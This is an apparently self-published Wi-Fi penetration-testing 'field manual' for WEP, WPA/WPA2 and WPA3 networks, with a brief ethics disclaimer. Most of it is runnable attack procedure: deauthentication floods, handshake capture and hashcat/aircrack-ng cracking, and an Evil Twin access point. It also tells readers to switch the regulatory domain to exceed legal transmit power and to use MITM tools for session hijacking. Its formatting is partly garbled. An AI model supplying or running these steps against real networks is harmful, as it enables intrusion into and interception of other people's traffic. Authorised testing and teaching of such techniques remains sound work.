Wi-Fi Pentesting Lab Manual (Field Edition)

Author: DarkBit
Motto: "Invisible in the noise, inevitable in the system."

WI-FI PENTESTING LAB MANUAL
(Field Edition)

Author : DarkBit
Version : 1.0
Date   : 22-Aug-2025
Scope   : WEP • WPA/WPA2 • WPA3 • Evil-Twin • Tooling

■■
■ ETHICAL USE ONLY ■
■ Test only networks you own or have explicit ■
■ written permission to assess. Unauthorized ■
■ access is illegal. Document responsibly. ■
■■

PREFACE

This manual is for professional, authorized security testing. All techniques must be executed with prior written permission from the asset owner. During testing: reduce RF noise, respect scope, protect data at rest (encrypt captures), and practice responsible disclosure.

Recommended Baseline:
- Use a dedicated test box and isolated lab where possible
- Update firmware & tools before each engagement
- Maintain an audit log (time, target, channel, cmd, result)

WI-FI PENTESTING QUICK REFERENCE CARD

■ Setup
```
----------------------------------
iwconfig                         # Check adapter
airmon-ng start wlan0            # Enable monitor mode → wlan0mon
airodump-ng wlan0mon             # Scan networks
```

■ Capture
```
----------------------------------
airodump-ng --bssid [BSSID] -c [CH] -w capture wlan0mon
aireplay-ng --deauth 5 -a [BSSID] wlan0mon   # Force handshake
```

■ Crack
```
----------------------------------
aircrack-ng capture.cap -w wordlist.txt      # WPA/WPA2 (CPU)
hcxpcapngtool capture.cap -o hash.hc22000
hashcat -m 22000 hash.hc22000 wordlist.txt   # WPA/WPA2 (GPU)
aircrack-ng WEPcrack.cap                     # WEP
dragonblood tools (dragontime/dragonslayer)  # WPA3 testing
```

■ Wordlists
```
----------------------------------
rockyou.txt (/usr/share/wordlists/)
crunch 8 12 abc123 -o custom.txt
cewl -w sitewords.txt https://example.com
```

■ Recon & MITM
```
----------------------------------
```

```
kismet                          # Recon mapping
ettercap -T -q -i wlan0          # MITM
bettercap -iface wlan0           # Advanced MITM

■ Cleanup
---------------------------------
airmon-ng stop wlan0mon
service NetworkManager restart

FLOW (At a Glance)

Recon → Enable Monitor → Capture → (Deauth) → Crack → Success?
   |---> YES → Document & Recommend Fix
   |---> NO  → Stronger Wordlist / OSINT / WPA3 tests
   → Cleanup & Report

END OF QUICK CARD

SECTION 1 – WEP Security Testing Procedure

Step 1 – Verify Wireless Adapter
--------------------------------
Command:
    iwconfig

Diagram:
    [BackTrack/Kali] → Plug in Adapter → Run "iwconfig" → wlan0 detected?

--------------------------------

Step 2 – Enable Monitor Mode
----------------------------
Command:
    airmon-ng start wlan0
    airodump-ng mon0

Diagram:
    wlan0 ■■> Monitor Mode ■■> mon0 → Scanning for APs

--------------------------------

Step 3 – Capture Packets
------------------------
Command:
    airodump-ng --bssid [BSSID] -c [CHANNEL] -w WEPcrack mon0

Diagram:
    [Target AP] ==WEP==> [mon0] → Save as WEPcrack-01.cap

--------------------------------

Step 4 – Speed Up with ARP Injection
-----------------------------------
Command:
    aireplay-ng -3 -b [BSSID] -h [Your_MAC] mon0

Diagram:
    [Captured ARP] →→→ Replayed →→→ More IVs

--------------------------------

Step 5 – Crack WEP Key
----------------------
Command:
```

```
    aircrack-ng WEPcrack-01.cap

Diagram:
    [IVs] → aircrack-ng → WEP Key (hex)

--------------------------------

Step 6 – Post-Test
------------------
- Document results
- Change AP to WPA2/WPA3

SECTION 2 – Evil Twin Access Point Attack Procedure

Step 1 – Verify Wireless Card
-----------------------------
Command:
    iwconfig

Diagram:
    [System] → Plug Adapter → Run "iwconfig" → wlan0 OK?

--------------------------------

Step 2 – Enable Monitor Mode
----------------------------
Command:
    airmon-ng start wlan0

Diagram:
    wlan0 ■■> Monitor Mode ■■> mon0

--------------------------------

Step 3 – Scan for APs
---------------------
Command:
    airodump-ng mon0

Diagram:
    mon0 ■■> List of APs (SSID/BSSID)

--------------------------------

Step 4 – Wait for Target
------------------------
- Note target AP BSSID and client MAC.

Diagram:
    [Target Device] ■ [Target AP] → Record details

--------------------------------

Step 5 – Create Evil Twin
-------------------------
Command:
    airbase-ng -a [BSSID] --essid "[SSID]" -c [CHANNEL] mon0

Diagram:
    [Adapter] → Fake AP ("Evil Twin") → Same SSID as Target

--------------------------------

Step 6 – Deauthenticate Target
```

```
------------------------------
Command:
    aireplay-ng --deauth 0 -a [BSSID of target]

Diagram:
    [Target] --X--> [Real AP] → Connects to Evil Twin

--------------------------------

Step 7 – Boost Signal
---------------------
Command:
    iwconfig wlan0 txpower 27
    iw reg set BO
    iwconfig wlan0 txpower 30

Diagram:
    Evil Twin: ■■■■■■■■
    Real AP:   ■■■■■■

--------------------------------

Step 8 – Optimize Channel (Legal Caution)
-----------------------------------------
- Match target AP’s channel.

Diagram:
    Evil Twin CH6 ↔ Target CH6

--------------------------------

Step 9 – Use Evil Twin
----------------------
- MITM testing with Ettercap or similar tools.

Diagram:
    [Target] ■ [Evil Twin] ■ [Tester]

--------------------------------

Step 10 – Cleanup
-----------------
- Shut down Evil Twin AP
- Restore settings
- Document findings

END OF MANUAL

SECTION 3 – WPA/WPA2 Security Testing Procedure

Step 1 – Enable Monitor Mode
----------------------------
Command:
    airmon-ng start wlan0

Diagram:
    wlan0 ■■> Monitor Mode ■■> wlan0mon

--------------------------------

Step 2 – Capture Handshake Packets
----------------------------------
Command:
    airodump-ng wlan0mon
```

Optional (save capture):
    airodump-ng --write WPAcrack wlan0mon

Diagram:
    [Target AP] ==WPA2 Handshake==> [wlan0mon] → Save as WPAcrack.cap

---

Step 3 – Deauthenticate to Force Handshake

Command:
    aireplay-ng --deauth 5 -a [BSSID] wlan0mon

Diagram:
    [Target Device] --X--> Disconnect → Reconnect → Handshake Captured

---

Step 4 – Crack WPA/WPA2 Key

Command:
    aircrack-ng WPAcrack.cap -w dictionary.txt

Diagram:
    [Handshake] + [Wordlist] → aircrack-ng → WPA Key

Step 5 – Alternative Cracking with hashcat

Command:
    hashcat -m 22000 WPAcrack.hc22000 wordlist.txt

(First convert capture: hcxpcapngtool WPAcrack.cap -o WPAcrack.hc22000)

Diagram:
    [Handshake .cap] → Convert → hashcat → Faster GPU cracking

---

Step 6 – Dictionary & Wordlist Strategy

- Use rockyou.txt (comes with Kali)
- Create custom wordlists with crunch or cewl
- Hybrid attack: combine rules + wordlists

Command Examples:
    crunch 8 12 abcdef1234 -o customlist.txt
    cewl -w sitewords.txt https://example.com

Step 7 – Post-Test

- If successful: Report weak password vulnerability
- Recommend WPA3 upgrade, strong passphrase policy (12+ chars, random)
- Enable WPS off, use RADIUS/Enterprise if possible
- Document all findings

SECTION 4 – Best Practices for Ethical Hackers

1. Always perform tests only on authorized networks
2. Use VPN while testing to avoid exposing your real IP
3. Keep wordlists encrypted if containing sensitive data

4. Automate reports for repeatable results
5. Use GPU cracking rigs responsibly (hashcat with CUDA/OpenCL)
6. Stay updated: WPA3 adoption is rising, prepare accordingly
7. Document everything for professional reporting

SECTION 5 – WPA3 Security Testing Procedure

Note: WPA3 is much stronger than WPA2. Cracking it directly with brute-force or
dictionary attacks is not practical due to Simultaneous Authentication of Equals (SAE).
Testing should focus on configuration weaknesses, downgrade attacks, or implementation flaws.

Step 1 – Verify WPA3 Support

Command:
    iw list | grep SAE

Diagram:
    [System] → Check if WPA3/SAE is supported by card & driver

---

Step 2 – Capture WPA3/SAE Handshakes

Command:
    airodump-ng wlan0mon

Diagram:
    [Target AP WPA3-SAE] ■ [Handshake Packets] → wlan0mon capture

---

Step 3 – Downgrade Attack Attempt (Transition Mode)

Many WPA3 routers still allow WPA2 (transition mode).
Attack vector: Force WPA2 connection, then perform WPA2 handshake capture.

Command:
    aireplay-ng --deauth 10 -a [BSSID] wlan0mon

Diagram:
    [Target] --X--> WPA3 AP (falls back to WPA2 if enabled)

Step 4 – Offline Dictionary Attacks on SAE

Currently limited – WPA3 SAE handshake is resistant to simple dictionary attacks.
Some academic research & tools (dragonblood) allow downgrade & side-channel testing.

Example Tool:
    python3 dragontime.py -r capture.pcap -w wordlist.txt

Step 5 – Dragonblood Exploits (If Applicable)

Dragonblood toolkit explores:
- Timing attacks on SAE
- Cache-based side-channel attacks
- Downgrade to WPA2

Reference:
    https://wpa3.mathyvanhoef.com/

Step 6 – Post-Test

- Document if WPA3 is properly enforced (no WPA2 fallback).
- Recommend disabling WPA2 transition mode.
- Suggest strong passphrases even for WPA3 (defense in depth).
- Keep firmware updated (patches for Dragonblood class attacks).

SECTION 6 – Final Notes for Hackers

- WPA3 is designed to resist offline brute force.
- Future attacks may rely on implementation flaws, not protocol design.
- Professional testers should monitor new CVEs and research papers.
- Always report responsibly to vendors.

APPENDIX A – Essential Tools for Wi-Fi Pentesting

1. Aircrack-ng Suite
   - airmon-ng: Enable monitor mode
   - airodump-ng: Capture packets
   - aireplay-ng: Inject packets / deauth
   - aircrack-ng: Crack captured handshakes

2. Hashcat
   - GPU-powered password cracker
   - Supports WPA/WPA2/WPA3 (via SAE/PMKID)
   - Command example:
       hashcat -m 22000 capture.hc22000 wordlist.txt

3. hcxdumptool & hcxpcapngtool
   - Capture PMKID and WPA/WPA2/SAE handshakes
   - Convert .pcap files into hashcat format

4. Dragonblood Toolkit
   - Specialized tools for WPA3 downgrade & side-channel testing

5. Wireshark
   - Packet analyzer for verifying handshake captures
   - Useful for manual inspection of frames

6. Ettercap / Bettercap
   - MITM attacks once connected to a Wi-Fi network
   - Sniffing, injecting, and session hijacking

7. Kismet
   - Wireless network detector and sniffer
   - Great for reconnaissance and mapping

APPENDIX B – Wordlists & Dictionary Sources
---

1. rockyou.txt
   - Location: /usr/share/wordlists/rockyou.txt (Kali Linux)
   - Famous real-world password list

2. SecLists Project
   - GitHub: https://github.com/danielmiessler/SecLists
   - Contains millions of wordlists for different purposes

3. Crunch
   - Generates custom wordlists
   - Example:
       crunch 8 12 abcdef123456 -o custom.txt
4. CeWL (Custom Word List generator)

   - Creates wordlists from website content
   - Example:
       cewl -w sitewords.txt https://example.com

5. Hybrid Rules with Hashcat
   - Combine wordlists with mutation rules
   - Example:
       hashcat -r rules/best64.rule -a 0 wordlist.txt capture.hc22000

6. Personal Custom Lists
   - Based on social engineering & OSINT
   - Example sources: birthdays, pet names, company info

APPENDIX C – Pro Tips for Hackers

- Always test your adapter supports injection & monitor mode
- Automate with bash/python scripts for faster workflow
- Encrypt sensitive captures (.cap/.pcap) before storage
- Use GPU rigs or cloud cracking for faster results
- Track new CVEs for Wi-Fi security (WPA3 vulnerabilities evolving)
- Document methodology → This makes reports professional

APPENDIX D – Quick Command Cheat-Sheet

■ Basic Setup
```
----------------------------------
iwconfig
airmon-ng start wlan0          # Enable monitor mode (→ wlan0mon)
airodump-ng wlan0mon           # Scan networks
```

■ Packet Capture
```
----------------------------------
airodump-ng --bssid [BSSID] -c [CHANNEL] -w capture wlan0mon
                               # Capture handshake packets
```

■ Deauthentication (force handshake)
```
----------------------------------
aireplay-ng --deauth 5 -a [BSSID] wlan0mon
                               # Disconnect clients to capture handshake
```

■ Cracking WPA/WPA2
```
----------------------------------
aircrack-ng capture.cap -w wordlist.txt
                               # Crack with dictionary
hcxpcapngtool capture.cap -o hash.hc22000
hashcat -m 22000 hash.hc22000 wordlist.txt
                               # GPU cracking
```

■ WPA3 Testing
```
----------------------------------
iw list | grep SAE             # Check WPA3 support
airodump-ng wlan0mon           # Capture WPA3 handshakes
python3 dragontime.py -r capture.pcap -w wordlist.txt
                               # WPA3 Dragonblood testing
```

■ Wordlist Generation
```
----------------------------------
crunch 8 12 abc123 -o custom.txt
                               # Generate wordlist (8–12 chars, set)
cewl -w sitewords.txt https://example.com
                               # Generate from website
```

■ Recon & MITM
```
----------------------------------
```

```
kismet
ettercap -T -q -i wlan0
bettercap -iface wlan0

■ Cleanup
----------------------------------
airmon-ng stop wlan0mon
service NetworkManager restart

END OF CHEAT-SHEET MANUAL

APPENDIX E – Wi-Fi Pentesting Workflow (Flowchart)

[ Reconnaissance ]
       |
       v
[ Enable Monitor Mode ]
    airmon-ng start wlan0
       |
       v
[ Scan Networks ]
    airodump-ng wlan0mon
       |
       +--> Target Selected (SSID / BSSID / Channel)
       |
       v
[ Capture Packets ]
    airodump-ng --bssid [BSSID] -c [CH] -w capture wlan0mon
       |
       +--> (Optional) Deauth Clients
            aireplay-ng --deauth 5 -a [BSSID] wlan0mon
       |
       v
[ Handshake / IV / PMKID Collected ]
       |
       v
[ Cracking Phase ]
       |--> WEP:  aircrack-ng capture.cap
       |--> WPA2: aircrack-ng / hashcat (with wordlist)
       |--> WPA3: dragonblood tools / downgrade testing
       |
       v
[ Success? ]
       |--> YES → Document Vulnerability → Recommend Fix
       |--> NO  → Try stronger wordlists / OSINT / Hybrid attacks
       |
       v
[ Post-Test & Cleanup ]
    airmon-ng stop wlan0mon
    service NetworkManager restart
    Securely store/delete captures
    Write professional report

END OF WORKFLOW

SIGNED OFF

____              _    ____  _ _ _
 |  _ \  __ _ _ __| | _| __ )(_) | |_
 | | | |/ _` | '__| |/ /  _ \| | | __|
 | |_| | (_| | |  |   <| |_) | | | |_
 |____/ \__,_|_|  |_|\_\____/|_|_|\__|

        Wi-Fi Pentesting Lab Manual
```

Authored & Compiled by: DarkBit
"Invisible in the noise, inevitable in the system."

END OF MANUAL – STAY ETHICAL, STAY SHARP